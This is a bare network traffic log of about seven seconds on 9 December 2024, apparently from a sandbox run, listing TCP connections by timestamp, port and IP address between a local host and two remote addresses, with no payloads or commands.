Dec 9, 2024 06:49:17.456248045 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.456396103 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.456423998 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.456470013 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.456475973 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.456924915 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.456929922 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.457479000 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.458101988 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.458122015 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.458281040 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.458285093 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.877197981 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.877266884 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.877345085 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.877545118 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.877559900 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.877592087 CET	49716	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.877599955 CET	443	49716	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.881323099 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.881350040 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.881452084 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.881814957 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.881824017 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.886461973 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.886485100 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.886528969 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.886548042 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.886588097 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.886869907 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.886885881 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.886897087 CET	49715	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.886904001 CET	443	49715	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.889619112 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.889661074 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.890003920 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.890182018 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.890194893 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.890773058 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.890822887 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.891012907 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.891014099 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.891072989 CET	49719	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.891084909 CET	443	49719	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.893676996 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.893706083 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.893790007 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.893945932 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.893968105 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894021988 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894042969 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894081116 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894186974 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894201040 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894218922 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894231081 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894253969 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894264936 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894602060 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894608021 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894628048 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894638062 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894638062 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.894650936 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894752979 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894783020 CET	443	49717	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.894850016 CET	49717	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.895215988 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.895256996 CET	443	49718	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.895306110 CET	49718	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.899635077 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.899672985 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.899724960 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.900017023 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.900033951 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.900295019 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.900305033 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:17.900381088 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.900474072 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:17.900482893 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.615601063 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.616067886 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.616106033 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.616127968 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.618022919 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.618029118 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.618912935 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.618941069 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.619376898 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.619379997 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.619390965 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.620054007 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.620054007 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.620064974 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.620071888 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.631002903 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.631530046 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.631548882 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.631563902 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.631947994 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.631947994 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.631961107 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.631974936 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:19.632273912 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:19.632280111 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054009914 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054088116 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054104090 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054162979 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.054197073 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054241896 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.054318905 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.054338932 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054353952 CET	49724	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.054361105 CET	443	49724	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054364920 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.054364920 CET	49725	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.054387093 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054400921 CET	443	49725	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054903984 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.054975033 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.055039883 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.055906057 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.055913925 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.055924892 CET	49726	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.055927992 CET	443	49726	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.058692932 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.058738947 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.058836937 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.058962107 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.058975935 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.061132908 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.061172962 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.061664104 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.062491894 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.062505007 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.063904047 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.063931942 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.064013004 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.064073086 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.064151049 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.064174891 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.064183950 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.064202070 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.064335108 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.064349890 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.064363003 CET	49727	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.064368963 CET	443	49727	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.064984083 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.065043926 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.065193892 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.065726042 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.065735102 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.065748930 CET	49728	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.065753937 CET	443	49728	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.067725897 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.067749977 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.067812920 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.069025040 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.069055080 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.069111109 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.069127083 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:20.069137096 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.069277048 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:20.069294930 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.775003910 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.777089119 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.778285980 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.785918951 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.786958933 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.786983013 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.787379026 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.787388086 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.816304922 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.816304922 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.816327095 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.816337109 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.816761017 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.816786051 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.817408085 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.817408085 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.817419052 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.817441940 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:21.817841053 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:21.817857027 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.210092068 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.210165024 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.210227013 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.210782051 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.210851908 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.211525917 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.211697102 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.211713076 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.211723089 CET	49734	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.211729050 CET	443	49734	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.212300062 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.212366104 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.212451935 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.213342905 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.213347912 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.213372946 CET	49732	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.213376999 CET	443	49732	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.216341019 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.216360092 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.216394901 CET	49733	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.216399908 CET	443	49733	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.223520994 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.223589897 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.223649979 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.223820925 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.223860025 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.223983049 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.228387117 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.228444099 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.228507042 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.231127977 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.231157064 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.231213093 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.231549978 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.231569052 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.232455969 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.232467890 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.232472897 CET	49735	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.232476950 CET	443	49735	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.232731104 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.232742071 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.234761000 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.234791040 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.235419035 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.235459089 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.235639095 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.235914946 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.235923052 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.302664995 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.306262970 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.306277037 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.306972027 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.306979895 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.736802101 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.736872911 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.736933947 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.737116098 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.737137079 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.737157106 CET	49736	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.737163067 CET	443	49736	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.739984035 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.740024090 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:22.740150928 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.740340948 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:22.740351915 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.944205046 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.946587086 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.946602106 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.947019100 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.947194099 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.947200060 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.947901011 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.947932959 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.948278904 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.948288918 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.948311090 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.948589087 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.948606014 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.949660063 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.949664116 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.961625099 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.962655067 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.962672949 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:23.963085890 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:23.963090897 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.297133923 CET	49744	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:24.378757954 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.378823042 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.379020929 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.379082918 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.379103899 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.379115105 CET	49740	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.379121065 CET	443	49740	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.380283117 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.380357027 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.380431890 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.380669117 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.380691051 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.380705118 CET	49739	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.380711079 CET	443	49739	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.382417917 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.382456064 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.382714033 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.382998943 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.383038044 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.383095980 CET	49745	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.383110046 CET	443	49745	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.383235931 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.383553982 CET	49746	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.383565903 CET	443	49746	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.385921955 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.385992050 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.386121988 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.386189938 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.386189938 CET	49738	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.386198997 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.386205912 CET	443	49738	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.389120102 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.389134884 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.389307022 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.389307022 CET	49747	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.389328003 CET	443	49747	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.395924091 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.395999908 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.396048069 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.396169901 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.396188974 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.396203995 CET	49741	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.396209955 CET	443	49741	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.398181915 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.398207903 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.398279905 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.398688078 CET	49748	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.398696899 CET	443	49748	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.417361975 CET	80	49744	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:24.417435884 CET	49744	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:24.417678118 CET	49744	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:49:24.456640005 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.457129955 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.457145929 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.457587004 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.457592010 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.537133932 CET	80	49744	23.111.175.138	192.168.2.11
Dec 9, 2024 06:49:24.891202927 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.891284943 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.892153978 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.895855904 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.895873070 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.895915031 CET	49742	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.895921946 CET	443	49742	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.899475098 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.899503946 CET	443	49749	13.107.246.63	192.168.2.11
Dec 9, 2024 06:49:24.899768114 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.899935961 CET	49749	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:49:24.899945974 CET	443	49749	13.107.246.63	192.168.2.11
